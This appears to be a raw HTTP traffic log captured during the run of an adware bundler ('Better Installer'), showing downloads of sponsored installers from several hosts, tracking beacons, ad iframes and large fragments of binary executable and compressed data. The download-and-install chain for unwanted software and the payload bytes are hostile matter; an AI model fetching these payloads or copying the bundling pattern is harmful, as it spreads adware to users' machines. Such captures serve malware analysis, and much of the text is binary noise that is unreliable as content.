0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015022
3221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150223221300Z....20150302222800Z0...*.H........
.....v.JLc...}.g.<5....l63.m...h`..<.U}.@.....%....F..N...C..*..
....H.x...4..;.(.bK......R[r/..$.;....d{gc...-..R.'....ZH.T.z\......gF
..S..D^[email protected]..#X}yz.T.......)....b.*J.....R.)U.)5..e.
....$.B....}p..\.._c[.RE...`.1...Bo..4..7.MvH)..b...G..,.HTTP/1.1 200 
OK..Accept-Ranges: bytes..Cache-Control: max-age=510941..Content-Type:
 application/ocsp-response..Date: Tue, 24 Feb 2015 02:03:01 GMT..Etag:
 "54eba986-1d7"..Expires: Mon, 02 Mar 2015 14:03:01 GMT..Last-Modified
: Mon, 23 Feb 2015 22:28:22 GMT..Server: ECS (frf/87A8)..X-Cache: HIT.
.Content-Length: 471..0..........0..... .....0......0...0.......q.7.s.
......4. Z.....20150223221300Z0s0q0I0... ........ ......%.:EUvf.U...3.
..q.7.s.......4. Z......M.q.......d...,....20150223221300Z....20150302
222800Z0...*.H.............v.JLc...}.g.<5....l63.m...h`..<.U}.@.
....%....F..N...C..*......H.x...4..;.(.bK......R[r/..$.;....d{gc...-..
R.'....ZH.T.z\......gF..S..D^[email protected]..#X}yz.T.......)..
..b.*J.....R.)U.)5..e.....$.B....}p..\.._c[.RE...`.1...Bo..4..7.MvH)..
b...G..,.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEApfEU0DWxeRF9Lv1AOMPzs= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=513994

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:03:02 GMT

Etag: "54ebab6c-1d7"

Expires: Mon, 02 Mar 2015 14:03:02 GMT

Last-Modified: Mon, 23 Feb 2015 22:36:28 GMT

Server: ECS (frf/8796)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0.......>.i...G...&....cd ...2015
0223200000Z0s0q0I0... ............([email protected]....>.i...G...&...
.cd ...._.M.[........?;....20150223200000Z....20150302200000Z0...*.H..
...........H......@!.>.T9........3..S..P...=F: 9M..4.k......Ff..p..
|.H..#=....2x..*...~..Cz.."C.1N2...f4-|..h.. [email protected]
t....(..Hf..=...T...c...<-.B...vW...s<j..@./%.U...._............
.7.i/........D...l.....&.E.vc...#).P...........]dU..x=h.x1^G.B....HTTP
/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=513994..Cont
ent-Type: application/ocsp-response..Date: Tue, 24 Feb 2015 02:03:02 G
MT..Etag: "54ebab6c-1d7"..Expires: Mon, 02 Mar 2015 14:03:02 GMT..Last
-Modified: Mon, 23 Feb 2015 22:36:28 GMT..Server: ECS (frf/8796)..X-Ca
che: HIT..Content-Length: 471..0..........0..... .....0......0...0....
...>.i...G...&....cd ...20150223200000Z0s0q0I0... ............(..A.
[email protected]....>.i...G...&....cd ...._.M.[........?;....201502232000
00Z....20150302200000Z0...*.H.............H......@!.>.T9........3..
S..P...=F: 9M..4.k......Ff..p..|.H..#=....2x..*...~..Cz.."C.1N2...f4-|
..h.. [email protected]....(..Hf..=...T...c...<-.B...vW...
s<j..@./%.U...._.............7.i/........D...l.....&.E.vc...#).P...
........]dU..x=h.x1^G.B......<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=72894-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 72894-583151/583152

Content-Length: 510258

Connection: keep-alive
...........?....6..t..V.?..h..=..O5..KK........;[email protected].:../.
;.....|I..h... ^.>..nH.R..7.uO..G.5.f..?..P..Cq....>. B..qi....\
...u*]...9.?1...._...._i...O.EX........0'.......w...xQ.2.l..o..T../
..>..5.f...J...V7....X;.@S..<....%m{..."...^Q!Gw........o.....(9
..........k].kr5#.L.. ..RJ........J.{./..%....S...)...,.../..e.4.u..eL
..w..(....:....EK.O.....0S.u.......d..7.o..%x...^.5.km)..}u.3...]. e.C
)..........E..@X.......@P...........:.u..1.D.:t.5.i9V)x....@n ...U]."0
.>..z...x...^s......Ui.}.^.A.*."Q...b.i.[.:.#4a.......~..c...=.Hmiv
.l..l..o_Pk.M...{.1.Y.J#...<....h.(..~`...6.^.....w..pO.]....f...
.....n[e..&1..H..$..Z.R$;ngY.!G.".....dTWA..<...X.0..^..:I>.....
..P...:.||...64..ow.f.....a..(.d2=.-3($\).|[email protected]..(h...
.b.Ks...]...`.r.EI.9l....t..=.....4.,:.7.*..........D.p.X...4....n?m..
.AH.,{..9q.`'pGu..`$u....`.J..)..E.....]4.SB..g...C..I`o......q...)...
&.%...... .g....7}rg.M..cs..l:......./P.e..u$.W.&.U==wD.......S...E,W,
v[u........G./..q......B..P.b.:.t./..\.......s....M....#....%XZ..l.r .
..AT....Q..;.._.7...]!..E..Zu..O. .P..D..O,.H[.94.y.J....IY...N......n
......uU...C..R|{%9....X].Y...Bq...L.....`......R=...m$*...7.....U..*.
....t..!/hBm<...=..#.)...E.......ic5@.... /o.%..U.o.,.....h........
.x.6.......:....@h!.zylWP..E.....?R:...W..E,.,c7.8.... .y2.f`..x.[..Pv
.~S. .q.~..W.......Y.*[email protected]@6..
[x).8....B.Q.i.K.d(...Im.....8...(..V...9......K....f..}...... ..|....
i....%y-2....Y.p&C&P..uW.=....:.........k...g.l_...#....~.SJ.d.B.'<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_a HTTP/1.1

Host: dl.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:05 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1424713131"

Last-Modified: Mon, 23 Feb 2015 17:38:51 GMT

Cache-Control: max-age=2284

Content-Length: 2615976

Content-Type: text/plain

X-HW: 1424743326.dop009.am4.t,1424743325.cds058.am4.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................@
.......'........ ..............................p.......0..............
x.....................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]......
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /step.php?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&mso=5&mss=3&stepid=0&sk=06815052e487038e0a95cd9d81b01f94 HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: app.easy-burner.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: install_cookie=14776,,; softdown=1424743234122287


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:14 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:02:14 GMT
..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..
Connection: keep-alive..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: aVxHP8kj3zH-fOI4Nq9-k0CX1P6cnqNv1ISeubsI6LehlnIL_102iA==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /eas?cu=25377&eme=WBrH3sO4 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: as.perfcreatives.com

DNT: 1

Connection: Keep-Alive

Cookie: eas_geo=c804:r15610:y25314:s5:z61000:i193.138.244.231; eas_uid=1-1424743379432100746


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:00 GMT

Server: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5

Cache-Control: no-cache, must-revalidate

Expires: Thu, 18 May 2006 01:00:00 GMT

P3P: CP="NOI DSP COR PSAo PSDo BUS OUR"

Content-Length: 429

Connection: close

Content-Type: text/html; charset=ISO-8859-1
<html>..<head><title></title></head>..&l
t;style>..#wrapper { position:absolute; left: 50%; margin-top: 30px
; margin-left: -364px; width:728px; height: 90px; }..</style>...
.<body>..<div id="wrapper">..<iframe scrolling="no" fra
meborder="0" allowtransparency="true" height="90" width="728" style="b
order:0;" src="hXXp://d.addelive.com/widget/render/hash/d7eae1b4fbd18f
ff98b3bddeaf9fae0f"></iframe>..</div>..</body>...
.<html>HTTP/1.1 200 OK..Date: Tue, 24 Feb 2015 02:03:00 GMT..Ser
ver: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rh
el5..Cache-Control: no-cache, must-revalidate..Expires: Thu, 18 May 20
06 01:00:00 GMT..P3P: CP="NOI DSP COR PSAo PSDo BUS OUR"..Content-Leng
th: 429..Connection: close..Content-Type: text/html; charset=ISO-8859-
1..<html>..<head><title></title></head>.
.<style>..#wrapper { position:absolute; left: 50%; margin-top: 3
0px; margin-left: -364px; width:728px; height: 90px; }..</style>
....<body>..<div id="wrapper">..<iframe scrolling="no" 
frameborder="0" allowtransparency="true" height="90" width="728" style
="border:0;" src="hXXp://d.addelive.com/widget/render/hash/d7eae1b4fbd
18fff98b3bddeaf9fae0f"></iframe>..</div>..</body>
....<html>..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&0.2112035195602876 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:03 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:01:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.3911754837452987 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:04 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:01:04 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=15053 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:35 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.62 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:35 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.62 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:31:44 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 22 Feb 2015 05:41:44 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0y5sxIIkwuE48d6QbD7K0v30A31v5p5fqh79nAi064drtQeW8b0P4Q==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]<<< skipped >>>

GET /gen/helper.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d13j8bqw-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:59 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: Express

Cache-Control: public, max-age=3600

Last-Modified: Mon, 16 Feb 2015 03:42:05 GMT

ETag: W/"ba1a-4133941441"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
40d4...............r..q....S .|[email protected]..*.....E..|..,y...
.@..`.M.e.......53.......uk~t4..........G.......p.y.`...{Cwt...o.O....
.../_}.....OO..G'G...N...._Og.....p|t6............6......;....'.......
....?...?....m.<..|4.on5ey{....e...;.4..L.......p.....L....S......q
.x.u...?..................;.. .L.7_>..?{...{...?<;;>9..l.....
z....}............K.'......7?N=..]....?.9=..7e1dY6&IYt...u.T......=8..
9...x.....7zzv.p?yv...4..u....F._...n.$..o7...q.|.=.>.......O....7.
.....sr....;.../...gG...~..u..UQ.9.f:..=..=..hs.(.....m.vw.OKC.,?..a.O
.......g6w.<=y||2..?}p...;.t........4..1...M..N.*k.a..6m...M.Le1gY.
.E..u.$}W.c96i.W.K.....(..K.rn.yl[?....f..c...w..~.........n.)........
..Awp..3..2C_y..~.|.{.E.x.........=<.?;y4=...b......;.u...P.]Y$..@g
mqm..k.....W?..M.\.......g.<f.P.}..}....n....,o.....J,.)...).4....'
.T..P...-..I.l.....yn..%u.5e;.C>.I.Oy.....]..I..%sQ.M3.I.'fw.......
*.6..M.6...]..]..e.4}3.c.......|..)i.....k..N3......f[..o...*..I.x....
f....G..9...I.qH.nvu>'EV..T....M]..|(../...*.U.0.s...U.a..~..1..bh.
......j...vheJ.n(.L7...64..{3k...v..}..KCVX...z....e...b...P.I..C.Z]. 
.a..}..E;m...X%].ei..........4........5 ....a..l..|n........j.$CgD....
...M>......7Y.....?C?.E...a...Xn.......B...c...5..V.....4c[..w;.Y..
cS.#.4.....A...\.E].dIVg....y[..&.........\........i...S[.y.....V'.Xu.
[.S?o..a..y...L...=x_.U7.M?O.1.....s.....M*.'Y>.:7i.1m..m.......dJ.
.bL.j...bH.Z.yt.0...[.E^Xmc.J.7...ssx.....i...4.y:.........l...&......
.....8..E_Vm......u.TUR.}.9.z2...`......]..fKUN...<..tk.a..j...<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Krrq3jBD_UmU6Oh2KL5I9mGuZOUnPdFEc0BCz3LxkKc4TMLlIRo63A==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 241224

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WP0kTUSwyUEf4E8thbu3MG8aVxbzk6ODGNKLlhERsMRa7z-k3ekAyw==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com


HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Tue, 24 Feb 2015 02:01:24 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 671

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
